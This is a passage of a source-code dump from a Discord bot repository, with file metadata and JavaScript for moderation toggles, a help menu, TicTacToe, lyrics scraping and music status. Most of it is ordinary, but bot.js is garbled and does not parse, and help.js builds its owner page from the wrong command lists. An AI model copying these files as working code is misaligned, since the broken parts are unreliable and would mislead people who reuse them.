1440, "license_type": "permissive", "max_line_length": 109, "num_lines": 39, "path": "/commands/disabled/configuration/setantilinks.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "module.exports.run = async (bot, msg, args) => {\n if (!msg.channel.permissionsFor(bot.user).has([\"SEND_MESSAGES\", \"EMBED_LINKS\"])) return;\n\n if (!args[0]) {\n return msg.channel.send(bot.embed({\n title: \":x: Args Error\",\n description: \"Please enter a valid option on or off.\",\n color: 0xff0000\n }));\n }\n if (args[0] === \"on\") {\n await bot.db.collection(\"configs\").updateOne({ _id: msg.guild.id }, { $set: { anti_links: true } });\n msg.channel.send(bot.embed({\n title: \":x: Anti links updated!\",\n description: \"Anti links has been turned on.\"\n }));\n } else if (args[0] === \"off\") {\n await bot.db.collection(\"configs\").updateOne({ _id: msg.guild.id }, { $set: { anti_links: false } });\n msg.channel.send(bot.embed({\n title: \":white_check_mark: Anti links updated!\",\n description: \"Anti links has been turned off.\"\n }));\n } else {\n return msg.channel.send(bot.embed({\n title: \":white_check_mark: Args Error\",\n description: \"Please enter a valid option on or off.\",\n color: 0xff0000\n }));\n }\n};\n\nmodule.exports.config = {\n name: \"setantilinks\",\n usage: \"setantilinks [on | off]\",\n description: \"Turns on or off anti links for the server.\",\n permission: \"Administrator\",\n category: \"Configuration\",\n aliases: [\"santilinks\"]\n};\n" }, { "alpha_fraction": 0.46661630272865295, "alphanum_fraction": 0.47067710757255554, "avg_line_length": 73.57041931152344, "blob_id": "698db26c2dd0ef5481b1c29c115f0db11c797f83", "content_id": "43ead13fe39ba1a469e874ddefdcc54f464174c2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 10589, "license_type": "permissive", "max_line_length": 407, "num_lines": 142, "path": "/commands/general/help.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "module.exports = class Help {\n\n constructor() {\n this.config = {\n name: \"help\",\n usage: \"help [command]\",\n description: \"Displays all of the bots commands!\",\n permission: \"None\",\n category: \"General\",\n aliases: []\n };\n }\n\n async run(bot, msg, args) {\n if (!args[0]) {\n const general = bot.commands.filter(c => c.config.category === \"General\"),\n configuration = bot.commands.filter(c => c.config.category === \"Configuration\"),\n fun = bot.commands.filter(c => c.config.category === \"Fun\"),\n math = bot.commands.filter(c => c.config.category === \"Math\"),\n mod = bot.commands.filter(c => c.config.category === \"Moderation\"),\n music = bot.commands.filter(c => c.config.category === \"Music\"),\n utility = bot.commands.filter(c => c.config.category === \"Utility\"),\n owner = bot.commands.filter(c => c.config.category === \"Owner\");\n const pages = [\n {\n title: `General Commands ${general.size === 0 ? \"\" : `(${general.size} total)`}`,\n description: general.size === 0 ? \"None\" : `\\`\\`\\`${general.map(c => `${c.config.name}: ${c.config.description} ${c.config.aliases.length === 0 ? \"\" : `(Aliases: ${c.config.aliases.join(\", \")})`} ${c.config.permission === \"None\" ? \"\" : `(Perm: ${c.config.permission})`}`).join(\"\\n\")}\\`\\`\\``\n },\n {\n title: `Configuration Commands ${configuration.size === 0 ? \"\" : `(${configuration.size} total)`}`,\n description: configuration.size === 0 ? \"None\" : `\\`\\`\\`${configuration.map(c => `${c.config.name}: ${c.config.description} ${c.config.aliases.length === 0 ? \"\" : `(Aliases: ${c.config.aliases.join(\", \")})`} ${c.config.permission === \"None\" ? \"\" : `(Perm: ${c.config.permission})`}`).join(\"\\n\")}\\`\\`\\``\n },\n {\n title: `Utility Commands ${utility.size === 0 ? \"\" : `(${utility.size} total)`}`,\n description: utility.size === 0 ? \"None\" : `\\`\\`\\`${utility.map(c => `${c.config.name}: ${c.config.description} ${c.config.aliases.length === 0 ? \"\" : `(Aliases: ${c.config.aliases.join(\", \")})`} ${c.config.permission === \"None\" ? \"\" : `(Perm: ${c.config.permission})`}`).join(\"\\n\")}\\`\\`\\``\n },\n {\n title: `Fun Commands ${fun.size === 0 ? \"\" : `(${fun.size} total)`}`,\n description: fun.size === 0 ? \"None\" : `\\`\\`\\`${fun.map(c => `${c.config.name}: ${c.config.description} ${c.config.aliases.length === 0 ? \"\" : `(Aliases: ${c.config.aliases.join(\", \")})`} ${c.config.permission === \"None\" ? \"\" : `(Perm: ${c.config.permission})`}`).join(\"\\n\")}\\`\\`\\``\n },\n {\n title: `Math Commands ${math.size === 0 ? \"\" : `(${math.size} total)`}`,\n description: math.size === 0 ? \"None\" : `\\`\\`\\`${math.map(c => `${c.config.name}: ${c.config.description} ${c.config.aliases.length === 0 ? \"\" : `(Aliases: ${c.config.aliases.join(\", \")})`} ${c.config.permission === \"None\" ? \"\" : `(Perm: ${c.config.permission})`}`).join(\"\\n\")}\\`\\`\\``\n },\n {\n title: `Moderation Commands ${mod.size === 0 ? \"\" : `(${mod.size} total)`}`,\n description: mod.size === 0 ? \"None\" : `\\`\\`\\`${mod.map(c => `${c.config.name}: ${c.config.description} ${c.config.aliases.length === 0 ? \"\" : `(Aliases: ${c.config.aliases.join(\", \")})`} ${c.config.permission === \"None\" ? \"\" : `(Perm: ${c.config.permission})`}`).join(\"\\n\")}\\`\\`\\``\n },\n {\n title: `Music Commands ${music.size === 0 ? \"\" : `(${music.size} total)`}`,\n description: music.size === 0 ? \"None\" : `\\`\\`\\`${music.map(c => `${c.config.name}: ${c.config.description} ${c.config.aliases.length === 0 ? \"\" : `(Aliases: ${c.config.aliases.join(\", \")})`} ${c.config.permission === \"None\" ? \"\" : `(Perm: ${c.config.permission})`}`).join(\"\\n\")}\\`\\`\\``\n }\n ];\n if (msg.author.id === \"302604426781261824\" || msg.author.id === \"199436790581559296\") {\n pages.push({ title: `Owner Commands ${owner.size === 0 ? \"\" : `(${general.size} total)`}`, description: music.size === 0 ? \"None\" : `\\`\\`\\`${music.map(c => `${c.config.name}: ${c.config.description} ${c.config.aliases.length === 0 ? \"\" : `(Aliases: ${c.config.aliases.join(\", \")})`} ${c.config.permission === \"None\" ? \"\" : `(Perm: ${c.config.permission})`}`).join(\"\\n\")}\\`\\`\\`` });\n }\n const Paginator = require(\"../../utils/paginator.js\");\n const session = new Paginator(msg, pages, bot.color);\n await session.start();\n } else if (args[0].match(/General|Configuration|Utility|Fun|Math|Moderation|Music/i)) {\n const general = bot.commands.filter(c => c.config.category === \"General\"),\n configuration = bot.commands.filter(c => c.config.category === \"Configuration\"),\n fun = bot.commands.filter(c => c.config.category === \"Fun\"),\n math = bot.commands.filter(c => c.config.category === \"Math\"),\n mod = bot.commands.filter(c => c.config.category === \"Moderation\"),\n music = bot.commands.filter(c => c.config.category === \"Music\"),\n utility = bot.commands.filter(c => c.config.category === \"Utility\");\n let Paginator = require(\"../../utils/paginator.js\");\n switch (args[0].toLowerCase()) {\n case \"general\": {\n Paginator = new Paginator(msg, [{ title: \"General Commands\", description: general.size === 0 ? \"None\" : `\\`\\`\\`${general.map(c => `${c.config.name}: ${c.config.description} ${c.config.aliases.length === 0 ? \"\" : `(Aliases: ${c.config.aliases.join(\", \")})`} ${c.config.permission === \"None\" ? \"\" : `(Perm: ${c.config.permission})`}`).join(\"\\n\")}\\`\\`\\`` }], bot.color, true);\n break;\n }\n case \"configuration\": {\n Paginator = new Paginator(msg, [{ title: \"Configuration Commands\", description: configuration.size === 0 ? \"None\" : `\\`\\`\\`${configuration.map(c => `${c.config.name}: ${c.config.description} ${c.config.aliases.length === 0 ? \"\" : `(Aliases: ${c.config.aliases.join(\", \")})`} ${c.config.permission === \"None\" ? \"\" : `(Perm: ${c.config.permission})`}`).join(\"\\n\")}\\`\\`\\`` }], bot.color, true);\n break;\n }\n case \"utility\": {\n Paginator = new Paginator(msg, [{ title: \"Utility Commands\", description: utility.size === 0 ? \"None\" : `\\`\\`\\`${utility.map(c => `${c.config.name}: ${c.config.description} ${c.config.aliases.length === 0 ? \"\" : `(Aliases: ${c.config.aliases.join(\", \")})`} ${c.config.permission === \"None\" ? \"\" : `(Perm: ${c.config.permission})`}`).join(\"\\n\")}\\`\\`\\`` }], bot.color, true);\n break;\n }\n case \"fun\": {\n Paginator = new Paginator(msg, [{ title: \"Fun Commands\", description: fun.size === 0 ? \"None\" : `\\`\\`\\`${fun.map(c => `${c.config.name}: ${c.config.description} ${c.config.aliases.length === 0 ? \"\" : `(Aliases: ${c.config.aliases.join(\", \")})`} ${c.config.permission === \"None\" ? \"\" : `(Perm: ${c.config.permission})`}`).join(\"\\n\")}\\`\\`\\`` }], bot.color, true);\n break;\n }\n case \"math\": {\n Paginator = new Paginator(msg, [{ title: \"Math Commands\", description: math.size === 0 ? \"None\" : `\\`\\`\\`${math.map(c => `${c.config.name}: ${c.config.description} ${c.config.aliases.length === 0 ? \"\" : `(Aliases: ${c.config.aliases.join(\", \")})`} ${c.config.permission === \"None\" ? \"\" : `(Perm: ${c.config.permission})`}`).join(\"\\n\")}\\`\\`\\`` }], bot.color, true);\n break;\n }\n case \"moderation\": {\n Paginator = new Paginator(msg, [{ title: \"Moderation Commands\", description: mod.size === 0 ? \"None\" : `\\`\\`\\`${mod.map(c => `${c.config.name}: ${c.config.description} ${c.config.aliases.length === 0 ? \"\" : `(Aliases: ${c.config.aliases.join(\", \")})`} ${c.config.permission === \"None\" ? \"\" : `(Perm: ${c.config.permission})`}`).join(\"\\n\")}\\`\\`\\`` }], bot.color, true);\n break;\n }\n case \"music\": {\n Paginator = new Paginator(msg, [{ title: \"Music Commands\", description: music.size === 0 ? \"None\" : `\\`\\`\\`${music.map(c => `${c.config.name}: ${c.config.description} ${c.config.aliases.length === 0 ? \"\" : `(Aliases: ${c.config.aliases.join(\", \")})`} ${c.config.permission === \"None\" ? \"\" : `(Perm: ${c.config.permission})`}`).join(\"\\n\")}\\`\\`\\`` }], bot.color, true);\n break;\n }\n default: { return msg.channel.send(\":x: Command category not found.\"); }\n }\n Paginator.start();\n } else {\n const command = bot.commands.get(args[0]);\n if (!command) {\n return msg.channel.send(\":x: That command was not found.\");\n } else {\n const embed = {\n title: `Command info for ${msg.prefix}${command.config.name}`,\n fields: [\n {\n name: `Description:`,\n value: command.config.description\n },\n {\n name: \"Permission Required:\",\n value: command.config.permission\n },\n {\n name: \"Category:\",\n value: command.config.category\n },\n {\n name: \"Aliases:\",\n value: command.config.aliases.length === 0 ? \"None\" : command.config.aliases.join(\", \")\n }\n ],\n footer: `Command help requested by ${msg.author.tag}`,\n timestamp: true\n };\n if (command.config.usage === \"None\") {\n command.config.usage = \"None\";\n } else {\n embed.fields.push({\n name: \"Usage:\",\n value: `${msg.prefix}${command.config.usage}`\n });\n }\n msg.channel.send(bot.embed(embed));\n }\n }\n }\n\n};\n" }, { "alpha_fraction": 0.5480769276618958, "alphanum_fraction": 0.5570054650306702, "avg_line_length": 35.400001525878906, "blob_id": "5086f78bc3a3c8995d118e27797882e6feb27eea", "content_id": "f4499e78a5a9097a15b28dfb193ba00571130462", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1456, "license_type": "permissive", "max_line_length": 109, "num_lines": 40, "path": "/commands/disabled/configuration/setantiswear.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "module.exports.run = async (bot, msg, args) => {\n if (!msg.channel.permissionsFor(bot.user).has([\"SEND_MESSAGES\", \"EMBED_LINKS\"])) return;\n\n if (!args[0]) {\n return msg.channel.send(bot.embed({\n title: \":x: Args Error\",\n description: \"Please enter a valid option on or off.\",\n color: 0xff0000\n }));\n }\n if (args[0] === \"on\") {\n await bot.db.collection(\"configs\").updateOne({ _id: msg.guild.id }, { $set: { anti_swear: true } });\n msg.channel.send(bot.embed({\n title: \":x: Anti swear updated!\",\n description: \"Anti swear has been turned on.\"\n }));\n } else if (args[0] === \"off\") {\n await bot.db.collection(\"configs\").updateOne({ _id: msg.guild.id }, { $set: { anti_swear: false } });\n msg.channel.send(bot.embed({\n title: \":white_check_mark: Anti swear updated!\",\n description: \"Anti swear has been turned off.\"\n }));\n } else {\n return msg.channel.send(bot.embed({\n title: \":white_check_mark: Args Error\",\n description: \"Please enter a valid option on or off.\",\n color: 0xff0000\n }));\n }\n};\n\n\nmodule.exports.config = {\n name: \"setantiswear\",\n usage: \"setantiswear [yes | no]\",\n description: \"Turns on or off Anti Swear. Words must be added manually.\",\n permission: \"Administrator\",\n category: \"Configuration\",\n aliases: [\"santiswear\"]\n};\n" }, { "alpha_fraction": 0.5783132314682007, "alphanum_fraction": 0.5783132314682007, "avg_line_length": 26.66666603088379, "blob_id": "cc8475b0f6a15e3a51ba2c467590888c7680e4e5", "content_id": "de71fb4a0079b1803f623a6a628f06f3514772d2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 83, "license_type": "permissive", "max_line_length": 44, "num_lines": 3, "path": "/events/error.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "module.exports = (bot, error) => {\n console.log(`[ERROR] ${error.message}`);\n};\n" }, { "alpha_fraction": 0.617067813873291, "alphanum_fraction": 0.6236323714256287, "avg_line_length": 34.153846740722656, "blob_id": "4e260a4c14cf725a9e77defe33cb57eb5c340047", "content_id": "11aaf06e18f802a5d2ee6a5853e7c8a8fdbfbdf9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 457, "license_type": "permissive", "max_line_length": 69, "num_lines": 13, "path": "/bot.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "const Discord = require(\"discord.js\");\nconst { readdirSync } = requeventFiles\nimport required (Float64Array)\n\nconst startBot = async () => {\n const eventFiles = readdirSync(\"./eventFiles\");\n eventFiles.forEach(file => {\n const event = require(`./events/${file}`);\n bot.on(file.split(\".\")[0], (...args) => event(bot, ...args));\n delete require.cache[require.resolve(`./events/${file}`)];\n });\n\nbot.login(process.env.BOT_TOKEN);\n" }, { "alpha_fraction": 0.4588888883590698, "alphanum_fraction": 0.4677777886390686, "avg_line_length": 29, "blob_id": "7e625034b9cc6320fa303f8c82142a35dc85aa0e", "content_id": "0fe0fa232c31c4482588fff1f5a60cb6dcec55f7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 900, "license_type": "permissive", "max_line_length": 108, "num_lines": 30, "path": "/commands/general/credits.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "module.exports = class Credits {\n\n constructor() {\n this.config = {\n name: \"credits\",\n usage: \"None\",\n description: \"Displays the wonderful people who made me possible!\",\n permission: \"None\",\n category: \"General\",\n aliases: []\n };\n }\n\n async run(bot, msg) {\n msg.channel.send(bot.embed({\n author: {\n name: \"Special thanks to:\",\n icon: bot.user.avatarURL\n },\n footer: `Requested by ${msg.author.tag}`,\n footerIcon: msg.author.avatarURL,\n timestamp: true,\n fields: [\n { name: \"Huzky#5415 (Owner)\", value: \"Main coding and making me online.\" },\n { name: \"Corey#6653 (source)\", value: \"Helping me with ban,kick and such other commands.\" },\n ]\n })).catch(() => {});\n }\n\n};\n" }, { "alpha_fraction": 0.5395056009292603, "alphanum_fraction": 0.5658022165298462, "avg_line_length": 50.25465774536133, "blob_id": "47de2a5b3399e57f9f1fa2ad95171fef1fc6b753", "content_id": "d571c6319835a6577ee1ee5738aa63f25c5354db", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 8252, "license_type": "permissive", "max_line_length": 220, "num_lines": 161, "path": "/utils/TicTacToe.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "const { Canvas } = require(\"canvas-constructor\");\nconst { get } = require(\"superagent\");\nconst fs = require(\"fs\");\nconst { join } = require(\"path\");\n\nmodule.exports = class TicTacToe {\n\n constructor(msg, GameMap) {\n this.players = new Map();\n this.msg = msg;\n this.host = msg.author;\n this.last = 0;\n this.started = false;\n this.board = [\n { taken: false, taker: null },\n { taken: false, taker: null },\n { taken: false, taker: null },\n { taken: false, taker: null },\n { taken: false, taker: null },\n { taken: false, taker: null },\n { taken: false, taker: null },\n { taken: false, taker: null },\n { taken: false, taker: null }\n ];\n this.GameMap = GameMap;\n this.winner = false;\n this.tie = false;\n }\n\n async start() {\n this.started = true;\n const player = this.players.get(this.playerKeys()[0]);\n this.msg.channel.send(`${player}, **Has the first move.**`);\n const res = await this.msg.channel.awaitMessages(m => m.content > 0 && m.content < 10 && m.author.id === player.id && m.channel.id === this.msg.channel.id, { maxMatches: 1 });\n this.fillSlot(this.board[parseInt(res.first().content) - 1], player);\n }\n\n addPlayer(user, prefix) {\n if (this.started) return this.msg.channel.send(\":x: **This game is already in-progress**.\");\n if (!this.players.get(user.id)) {\n this.players.set(user.id, user);\n this.msg.channel.send(`${user}, **Has joined the game. ${this.players.size === 2 ? `\\n${this.host}, You can start the game now. \\`${prefix}ttt start\\`**` : \"**\"}`);\n } else {\n this.msg.channel.send(\":x: **You are already in this game!**\");\n }\n }\n\n playerKeys() {\n return Array.from(this.players.keys());\n }\n\n removePlayer(user) {\n if (this.players.get(user.id)) {\n this.players.delete(user.id);\n this.msg.channel.send(`${user}, **Has left the game.**`);\n } else {\n this.msg.channel.send(\":x: **You not in this game!**\");\n }\n }\n\n async fillSlot(slot, player) {\n this.msg.channel.startTyping();\n if (slot.taken === false) {\n slot.taken = true;\n slot.taker = player.displayAvatarURL;\n this.checkForWinner(player);\n if (this.winner || this.tie) return;\n await this.drawBoard();\n }\n if (this.last === 1) {\n this.last = 0;\n const next = this.players.get(this.playerKeys()[0]);\n try {\n this.msg.channel.send(`${next}, **It's now your turn.**`);\n const res = await this.msg.channel.awaitMessages(m => m.content > 0 && m.content < 10 && m.author.id === next.id && m.channel.id === this.msg.channel.id, { maxMatches: 1, time: 30000, errors: [\"time\"] });\n return this.fillSlot(this.board[parseInt(res.first().content) - 1], next);\n } catch (error) {\n this.msg.reply(`**You did not reply in 30 seconds... Game ended.**`);\n return this.GameMap.delete(this.msg.channel.id);\n }\n } else if (this.last === 0) {\n this.last = 1;\n const next = this.players.get(this.playerKeys()[1]);\n try {\n this.msg.channel.send(`${next}, **It's now your turn.**`);\n const res = await this.msg.channel.awaitMessages(m => m.content > 0 && m.content < 10 && m.author.id === next.id && m.channel.id === this.msg.channel.id, { maxMatches: 1, time: 30000, errors: [\"time\"] });\n return this.fillSlot(this.board[parseInt(res.first().content) - 1], next);\n } catch (error) {\n this.msg.reply(`**You did not reply in 30 seconds... Game ended.**`);\n return this.GameMap.delete(this.msg.channel.id);\n }\n }\n }\n\n async checkForWinner(player) {\n if (this.board.filter(s => s.taken === true).length === 9) this.tie = true;\n if (this.board[0].taker === player.displayAvatarURL && this.board[1].taker === player.displayAvatarURL && this.board[2].taker === player.displayAvatarURL) this.winner = true;\n if (this.board[3].taker === player.displayAvatarURL && this.board[4].taker === player.displayAvatarURL && this.board[5].taker === player.displayAvatarURL) this.winner = true;\n if (this.board[6].taker === player.displayAvatarURL && this.board[7].taker === player.displayAvatarURL && this.board[8].taker === player.displayAvatarURL) this.winner = true;\n\n if (this.board[0].taker === player.displayAvatarURL && this.board[3].taker === player.displayAvatarURL && this.board[6].taker === player.displayAvatarURL) this.winner = true;\n if (this.board[1].taker === player.displayAvatarURL && this.board[4].taker === player.displayAvatarURL && this.board[7].taker === player.displayAvatarURL) this.winner = true;\n if (this.board[2].taker === player.displayAvatarURL && this.board[5].taker === player.displayAvatarURL && this.board[8].taker === player.displayAvatarURL) this.winner = true;\n\n if (this.board[0].taker === player.displayAvatarURL && this.board[4].taker === player.displayAvatarURL && this.board[8].taker === player.displayAvatarURL) this.winner = true;\n if (this.board[2].taker === player.displayAvatarURL && this.board[4].taker === player.displayAvatarURL && this.board[6].taker === player.displayAvatarURL) this.winner = true;\n\n if (this.winner) {\n await this.drawBoard();\n this.msg.channel.send(`${player}, **Has won the game of Tic Tac Toe :tada:!**`);\n return this.GameMap.delete(this.msg.channel.id);\n }\n\n if (this.tie) {\n const host = this.players.get(this.playerKeys()[0]);\n const guest = this.players.get(this.playerKeys()[1]);\n await this.drawBoard();\n this.msg.channel.send(`${host} ${guest}, **It's a tie, Better luck next time.**`);\n return this.GameMap.delete(this.msg.channel.id);\n }\n }\n\n async drawBoard() {\n try {\n const user1 = await this.getTaker(this.board[0]);\n const user2 = await this.getTaker(this.board[1]);\n const user3 = await this.getTaker(this.board[2]);\n const user4 = await this.getTaker(this.board[3]);\n const user5 = await this.getTaker(this.board[4]);\n const user6 = await this.getTaker(this.board[5]);\n const user7 = await this.getTaker(this.board[6]);\n const user8 = await this.getTaker(this.board[7]);\n const user9 = await this.getTaker(this.board[8]);\n\n const tic_tac_toe_board = await fs.readFileSync(join(__dirname, \"..\", \"assets\", \"tictactoe.jpg\"));\n const blankSlot = await fs.readFileSync(join(__dirname, \"..\", \"assets\", \"blank.png\"));\n\n const newBoard = new Canvas(500, 500)\n .addImage(tic_tac_toe_board, 0, 0, 500, 500)\n .addImage(this.board[0].taken ? user1 : blankSlot, 0, 0, 162, 162)\n .addImage(this.board[1].taken ? user2 : blankSlot, 169, 0, 162, 162)\n .addImage(this.board[2].taken ? user3 : blankSlot, 169 * 2, 0, 162, 162)\n .addImage(this.board[3].taken ? user4 : blankSlot, 0, 169, 162, 162)\n .addImage(this.board[4].taken ? user5 : blankSlot, 169, 169, 162, 162)\n .addImage(this.board[5].taken ? user6 : blankSlot, 169 * 2, 169, 162, 162)\n .addImage(this.board[6].taken ? user7 : blankSlot, 0, 169 * 2, 162, 162)\n .addImage(this.board[7].taken ? user8 : blankSlot, 169, 169 * 2, 162, 162)\n .addImage(this.board[8].taken ? user9 : blankSlot, 169 * 2, 169 * 2, 162, 162);\n const board = await newBoard.toBufferAsync();\n await this.msg.channel.send({ file: { attachment: board } });\n this.msg.channel.stopTyping(true);\n } catch (e) { console.error(e.stack); }\n }\n\n async getTaker(slot) {\n if (!slot.taker) return null;\n const res = await get(slot.taker);\n return res.body;\n }\n\n};\n" }, { "alpha_fraction": 0.5607661604881287, "alphanum_fraction": 0.5845442414283752, "avg_line_length": 42.25714111328125, "blob_id": "6e47faefa7e72cb648b08194610d716972280809", "content_id": "7444c337e8f88d61239f220cd216ce2138ac7768", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1514, "license_type": "permissive", "max_line_length": 121, "num_lines": 35, "path": "/commands/disabled/configuration/setleave.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "module.exports.run = async (bot, msg, args) => {\n if (!msg.channel.permissionsFor(bot.user).has([\"SEND_MESSAGES\", \"EMBED_LINKS\"])) return;\n\n if (!args.join(\" \")) {\n return msg.channel.send(bot.embed({\n title: \":x: Error!\",\n description: \"Please enter a leave message.\\nValid placeholders:\",\n fields: [\n { name: \"e{user}\", value: \"Displays the users name and tag Ex: Ice#1234\", inline: false },\n { name: \"e{server_name}\", value: \"The name of the current server Ex: Emerald Bot\", inline: false },\n { name: \"e{server_id}\", value: \"The id of the current server Ex: 430211079340163072\", inline: false },\n { name: \"e{server_memcount}\", value: \"The current members in the current server Ex: 110\", inline: false }\n ],\n color: 0xff0000\n }));\n }\n\n if (args.join(\" \").length > 100) return msg.channel.send(\":x: Max leave message length is 100 characters.\");\n\n await bot.db.collection(\"configs\").updateOne({ _id: msg.guild.id }, { $set: { leave_msg: args.join(\" \") } });\n msg.channel.send(bot.embed({\n title: \":white_check_mark: Leave message updated!\",\n description: `The leave message has been set to \\`${args.join(\" \")}\\`.`\n }));\n};\n\n\nmodule.exports.config = {\n name: \"setleave\",\n usage: \"setleave [message]\",\n description: \"Sets the servers leave message.\",\n permission: \"Administrator\",\n category: \"Configuration\",\n aliases: [\"sleave\"]\n};\n" }, { "alpha_fraction": 0.5279665589332581, "alphanum_fraction": 0.5295347571372986, "avg_line_length": 36.509803771972656, "blob_id": "67549ee139693a01be5c010f74d486388935c1dc", "content_id": "3eab92958031adde67ec4a3a22b7ab8102883412", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1913, "license_type": "permissive", "max_line_length": 163, "num_lines": 51, "path": "/commands/music/lyrics.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "const { get } = require(\"superagent\");\nconst cheerio = require(\"cheerio\");\n\nmodule.exports = class Lyrics {\n\n constructor() {\n this.config = {\n name: \"lyrics\",\n usage: \"lyrics [song_title]\",\n description: \"Gets the lyrics from any song and sends them to you.\",\n permission: \"None\",\n category: \"Music\",\n aliases: []\n };\n }\n\n async run(bot, msg, args) {\n if (!msg.channel.permissionsFor(bot.user).has([\"EMBED_LINKS\", \"SEND_MESSAGES\"])) return;\n if (!args.join(\" \")) {\n return msg.channel.send(\":x: Please enter a song name.\");\n } else {\n msg.channel.startTyping();\n const searchResults = await loadLink(`http://www.songlyrics.com/index.php?section=search&searchW=${encodeURIComponent(args.join(\" \"))}&submit=Search`);\n try {\n const firstRes = await loadLink(searchResults(\"a\", \"div.serpresult\").first().attr().href);\n\n const title = firstRes(\"h1\", \"div.pagetitle\").text();\n const lyrics = firstRes(\"p#songLyricsDiv.songLyricsV14.iComment-text\").text();\n\n const embed = bot.embed({\n title: `Lyrics for: ${title.replace(/lyrics/gi, \"\")}`,\n description: lyrics,\n footerIcon: msg.author.displayAvatarURL,\n footer: `Lyrics requested by ${msg.author.tag}`,\n timestamp: true\n });\n msg.channel.send({ embed: embed, split: true });\n msg.channel.stopTyping(true);\n } catch (error) {\n msg.channel.stopTyping(true);\n return msg.channel.send(`:x: I found no results for: **${args.join(\" \")}**`);\n }\n }\n }\n\n};\n\nasync function loadLink(link) {\n const res = await get(link);\n return cheerio.load(res.text);\n}\n" }, { "alpha_fraction": 0.4849128723144531, "alphanum_fraction": 0.5019124746322632, "avg_line_length": 33.60293960571289, "blob_id": "27a34653c97e8a8e5f71a4f4a23703259517a167", "content_id": "79089ca5123b47765484a266415b18cf87eaf769", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2420, "license_type": "permissive", "max_line_length": 144, "num_lines": 68, "path": "/commands/music/nowplaying.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "module.exports = class NowPlaying {\n\n constructor() {\n this.config = {\n name: \"nowplaying\",\n usage: \"None\",\n description: \"Displays whats playing in the current queue.\",\n permission: \"None\",\n category: \"Music\",\n aliases: [\"np\"]\n };\n }\n\n run(bot, msg) {\n const player = bot.player.players.get(msg.guild.id);\n if (player) {\n const embed = bot.embed({\n author: {\n name: \"Current music status\",\n icon: bot.user.displayAvatarURL\n },\n fields: [\n { name: \"Now playing:\", value: progressBar(player.queue[0], player.playerState.currentPosition, player.queue[0].duration) },\n { name: \"Simplified queue:\", value: mapQueueOrSlice(player.queue) }\n ]\n });\n msg.channel.send(embed);\n } else { return msg.channel.send(\":x: Nothing is playing!\"); }\n }\n\n};\n\nfunction convert(time) {\n // I took this from stack overflow cuz im bad at this stuff Credit to them.\n const seconds = parseInt((time / 1000) % 60);\n const minutes = parseInt((time / (1000 * 60)) % 60);\n const hours = parseInt((time / (1000 * 60 * 60)) % 24);\n return {\n total: `\\`${hours === 0 ? \"\" : `${pad(hours, 2)}:`}${minutes === 0 ? \"\" : `${pad(minutes, 2)}:`}${pad(seconds, 2)}\\``,\n seconds: pad(seconds, 2),\n minutes: pad(minutes, 2),\n hours: pad(hours, 2)\n };\n}\n\nfunction pad(num, len) {\n let str = `${num}`;\n while (str.length < len) {\n str = `0${str}`;\n }\n return str;\n}\n\nfunction progressBar(npSong, playerPosition, totalTime) {\n const bar = \"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\".split(\"\");\n const pos = Math.ceil(playerPosition / totalTime * 30);\n bar[pos] = \"🔘\";\n return `***[${npSong.title}](${npSong.url})***\\n\\`${bar.join(\"\")}\\` [${convert(playerPosition).total}/${convert(totalTime).total}]`;\n}\n\nfunction mapQueueOrSlice(songs = []) {\n if (songs.length <= 8) {\n return songs.map(s => `\\`•\\` ***[${s.title}](${s.url})***`).join(\"\\n\");\n } else {\n const sliced = songs.slice(0, 8);\n return `${sliced.map(s => `\\`•\\` ***[${s.title}](${s.url})***`).join(\"\\n\")}\\n... and ${songs.length - sliced.length} more.`;\n }\n}\n" }, { "alpha_fraction": 0.5268524885177612, "alphanum_fraction": 0.5278722047805786, "avg_line_length": 40.43661880493164, "blob_id": "31d86620e10c4d2c0e6683d08ab4c355de057150", "content_id": "8360a089131588546771947ae4a09ab47e3d97b1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2942, "license_type": "permissive", "max_line_length": 138, "num_lines": 71, "path": "/commands/fun/tictactoe.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "const TicTacToeGame = require(\"../../utils/TicTacToe.js\");\n\nmodule.exports = class TicTacToe {\n\n constructor() {\n this.config = {\n name: \"tictactoe\",\n usage: \"tictactoe [new | join | leave | start]\",\n description: \"Tic Tac Toe anyone?\",\n permission: \"None\",\n category: \"Fun\",\n aliases: [\"ttt\"]\n };\n }\n\n run(bot, msg, args) {\n if (!msg.channel.permissionsFor(bot.user).has([\"SEND_MESSAGES\", \"ATTACH_FILES\"])) return;\n if (!args[0]) {\n return msg.channel.send(`\n :x: Invalid usage: \\`${msg.prefix}tictactoe [new | join | leave | start]\\`\n More Help:\n \\`\\`\\`new: Creates a new Tic Tac Toe game.\n join: Joins a Tic Tac Toe game.\n leave: 